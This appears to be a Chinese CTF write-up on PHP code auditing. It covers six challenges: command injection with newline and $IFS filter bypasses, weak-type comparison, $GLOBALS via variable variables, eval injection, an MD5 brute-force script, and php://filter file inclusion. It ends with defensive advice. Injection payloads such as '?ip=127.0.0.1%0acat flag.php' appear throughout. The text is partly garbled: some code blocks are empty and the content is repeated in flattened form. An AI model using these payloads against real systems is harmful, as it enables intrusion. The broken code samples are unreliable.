PHP代码审计之CTF系列(2)
字数 2179 2025-08-18 11:39:26

PHP代码审计与CTF挑战解析

一、命令注入漏洞

案例1:Challenge 9

<?php
if(isset($_REQUEST['ip'])) {
    $target = trim($_REQUEST['ip']);
    $substitutions = array(
        '&' => '',
        ';' => '',
        '|' => '',
        '-' => '',
        '$' => '',
        '(' => '',
        ')' => '',
        '`' => '',
        '||' => '',
    );
    $target = str_replace(array_keys($substitutions), $substitutions, $target);
    $cmd = shell_exec('ping -c 4 ' . $target);
    echo $target;
    echo "<pre>{$cmd}</pre>";
}
show_source(__FILE__);
?>

漏洞分析

  1. 使用shell_exec()执行系统命令
  2. 虽然过滤了常见命令分隔符,但未过滤换行符%0a
  3. trim()函数仅移除字符串两侧的空白字符

绕过方法

  • 使用换行符%0a分隔命令
  • Payload: ?ip=127.0.0.1%0als 查看目录
  • Payload: ?ip=127.0.0.1%0acat flag.php 读取文件

常见命令分隔符绕过

  1. %0a - 换行符
  2. %0d - 回车符
  3. < 符号
  4. %09 - 制表符
  5. $IFS$9 - 空格替代
  6. ${IFS} - 空格替代
  7. ,
  8. <>

二、PHP弱类型比较

案例2:Challenge 10

<?php
require __DIR__.'/flag.php';
if (isset($_POST['answer'])) {
    $number = $_POST['answer'];
    if (noother_says_correct($number)) {
        echo $flag;
    } else {
        echo "Sorry";
    }
}

function noother_says_correct($number) {
    $one = ord('1');
    $nine = ord('9');
    for ($i = 0; $i < strlen($number); $i++) {
        $digit = ord($number{$i});
        if (($digit >= $one) && ($digit <= $nine)) {
            return false;
        }
    }
    return $number == "3735929054";
}
highlight_file(__FILE__);
?>

漏洞分析

  1. 函数检查输入不能包含数字1-9
  2. 但要求输入值等于"3735929054"
  3. 3735929054的十六进制是0xdeadc0de

利用方法

  • 使用十六进制表示法绕过数字检查
  • Payload: answer=0xdeadc0de

关键函数

  • ord(): 返回字符串首个字符的ASCII值

三、变量变量与全局变量

案例3:Challenge 11

<?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a)) {
    die('ERROR');
}
eval("var_dump(
$$
a);");
show_source(__FILE__);
?>

漏洞分析

  1. 使用preg_match('/^\w*$/',$a)限制输入为字母数字
  2. eval()执行`var_dump(

\[a)`,即变量变量 3. 可利用`$GLOBALS`超全局变量获取所有变量 **利用方法**: - Payload: `?hello=GLOBALS` **$GLOBALS详解**: - 引用全局作用域中所有可用变量 - 与`global`关键字的区别: - `$GLOBALS['var']`是外部变量本身 - `global $var`是外部变量的引用 ## 四、代码注入与闭合 ### 案例4:Challenge 12 ```php ``` **漏洞分析**: 1. 直接执行`eval("var_dump($a);")` 2. 可通过闭合原函数并添加新语句 **利用方法**: - Payload: `?hello=);var_dump(file("flag.php"));//` - 构造出完整代码:`var_dump();var_dump(file("flag.php"));` ## 五、会话安全与MD5碰撞 ### 案例5:Challenge 13 ```php =10) { echo $flag; } show_source(__FILE__); ?> ``` **漏洞分析**: 1. 需要满足两个条件: - 前两个字符匹配随机生成的`whoami` - `substr(md5($value),5,4)==0`(弱类型比较) 2. 需要在120秒内完成10次请求 **利用方法**: 1. 第一次使用`ea`作为前两个字符 2. 后续使用服务器返回的随机值 3. 构造MD5值满足条件(可使用暴力破解) **Python自动化脚本**: ```python import requests import hashlib import random def get_value(given): for i in range(1000000): result = given result += random.choice('abcdefghijklmnopqrstuvwxyz') result += random.choice('abcdefghijklmnopqrstuvwxyz') result += random.choice('abcdefghijklmnopqrstuvwxyz') result += random.choice('abcdefghijklmnopqrstuvwxyz') m = hashlib.md5(result.encode()).hexdigest() if m[5:9] == "0000": return result def main(url): session = requests.Session() result = "ea" for i in range(10): resp = session.get(url+result) the_page = resp.text result = get_value(the_page[0:2]) ``` ## 六、文件包含漏洞 ### 案例6:Challenge 14 ```php ``` **漏洞分析**: 1. 直接包含用户控制的`path`参数 2. 可利用PHP伪协议读取文件 **利用方法**: - Payload: `?path=php://filter/convert.base64-encode/resource=flag.php` **PHP伪协议总结**: | 协议 | 格式 | 所需配置 | 说明 | |------|------|----------|------| | file:// | file://路径 | allow_url_fopen=Off | 访问本地文件系统 | | php://input | php://input | allow_url_include=On | 访问原始POST数据 | | php://filter | php://filter/convert.base64-encode/resource=文件 | 无特殊要求 | 读取文件内容 | | zip:// | zip://[压缩文件路径]#[压缩文件内子文件名] | allow_url_fopen=Off | 访问压缩包内文件 | | data:// | data://text/plain;base64,编码数据 | allow_url_include=On | 数据流 | ## 七、关键函数解析 ### 1. preg_match() ```php int preg_match(string $pattern, string $subject [, array &$matches]) ``` - 执行正则表达式匹配 - 返回0或1(匹配次数) - 常用模式修饰符:`i`(不区分大小写) ### 2. mt_rand()安全问题 - 伪随机数生成器,基于种子 - 如果知道种子,可以预测随机数序列 - 安全应用场景应避免使用 ### 3. 文件包含相关函数 - `include` / `require` - `include_once` / `require_once` - `highlight_file` / `show_source` - `readfile` - `file_get_contents` - `fopen` / `file` ## 八、安全建议 1. 命令执行: - 避免使用`shell_exec()`等函数 - 使用白名单过滤输入 - 使用`escapeshellarg()`转义参数 2. 文件包含: - 禁用`allow_url_include` - 固定包含文件路径 - 使用白名单限制包含文件 3. 会话安全: - 使用强随机数生成器 - 设置合理的会话过期时间 - 重要操作增加二次验证 4. 类型比较: - 使用`===`严格比较 - 避免依赖弱类型特性 5. 变量处理: - 避免使用变量变量 - 明确变量作用域 - 使用`isset()`检查变量存在性\]

PHP代码审计与CTF挑战解析 一、命令注入漏洞 案例1:Challenge 9 漏洞分析 : 使用 shell_exec() 执行系统命令 虽然过滤了常见命令分隔符,但未过滤换行符 %0a trim() 函数仅移除字符串两侧的空白字符 绕过方法 : 使用换行符 %0a 分隔命令 Payload: ?ip=127.0.0.1%0als 查看目录 Payload: ?ip=127.0.0.1%0acat flag.php 读取文件 常见命令分隔符绕过 : %0a - 换行符 %0d - 回车符 < 符号 %09 - 制表符 $IFS$9 - 空格替代 ${IFS} - 空格替代 , 号 <> 号 二、PHP弱类型比较 案例2:Challenge 10 漏洞分析 : 函数检查输入不能包含数字1-9 但要求输入值等于"3735929054" 3735929054的十六进制是0xdeadc0de 利用方法 : 使用十六进制表示法绕过数字检查 Payload: answer=0xdeadc0de 关键函数 : ord() : 返回字符串首个字符的ASCII值 三、变量变量与全局变量 案例3:Challenge 11 漏洞分析 : 使用 preg_match('/^\w*$/',$a) 限制输入为字母数字 eval() 执行 var_dump($$a) ,即变量变量 可利用 $GLOBALS 超全局变量获取所有变量 利用方法 : Payload: ?hello=GLOBALS $GLOBALS详解 : 引用全局作用域中所有可用变量 与 global 关键字的区别: $GLOBALS['var'] 是外部变量本身 global $var 是外部变量的引用 四、代码注入与闭合 案例4:Challenge 12 漏洞分析 : 直接执行 eval("var_dump($a);") 可通过闭合原函数并添加新语句 利用方法 : Payload: ?hello=);var_dump(file("flag.php"));// 构造出完整代码: var_dump();var_dump(file("flag.php")); 五、会话安全与MD5碰撞 案例5:Challenge 13 漏洞分析 : 需要满足两个条件: 前两个字符匹配随机生成的 whoami substr(md5($value),5,4)==0 (弱类型比较) 需要在120秒内完成10次请求 利用方法 : 第一次使用 ea 作为前两个字符 后续使用服务器返回的随机值 构造MD5值满足条件(可使用暴力破解) Python自动化脚本 : 六、文件包含漏洞 案例6:Challenge 14 漏洞分析 : 直接包含用户控制的 path 参数 可利用PHP伪协议读取文件 利用方法 : Payload: ?path=php://filter/convert.base64-encode/resource=flag.php PHP伪协议总结 : | 协议 | 格式 | 所需配置 | 说明 | |------|------|----------|------| | file:// | file://路径 | allow_ url_ fopen=Off | 访问本地文件系统 | | php://input | php://input | allow_ url_ include=On | 访问原始POST数据 | | php://filter | php://filter/convert.base64-encode/resource=文件 | 无特殊要求 | 读取文件内容 | | zip:// | zip://[ 压缩文件路径]#[ 压缩文件内子文件名] | allow_ url_ fopen=Off | 访问压缩包内文件 | | data:// | data://text/plain;base64,编码数据 | allow_ url_ include=On | 数据流 | 七、关键函数解析 1. preg_ match() 执行正则表达式匹配 返回0或1(匹配次数) 常用模式修饰符: i (不区分大小写) 2. mt_ rand()安全问题 伪随机数生成器,基于种子 如果知道种子,可以预测随机数序列 安全应用场景应避免使用 3. 文件包含相关函数 include / require include_once / require_once highlight_file / show_source readfile file_get_contents fopen / file 八、安全建议 命令执行: 避免使用 shell_exec() 等函数 使用白名单过滤输入 使用 escapeshellarg() 转义参数 文件包含: 禁用 allow_url_include 固定包含文件路径 使用白名单限制包含文件 会话安全: 使用强随机数生成器 设置合理的会话过期时间 重要操作增加二次验证 类型比较: 使用 === 严格比较 避免依赖弱类型特性 变量处理: 避免使用变量变量 明确变量作用域 使用 isset() 检查变量存在性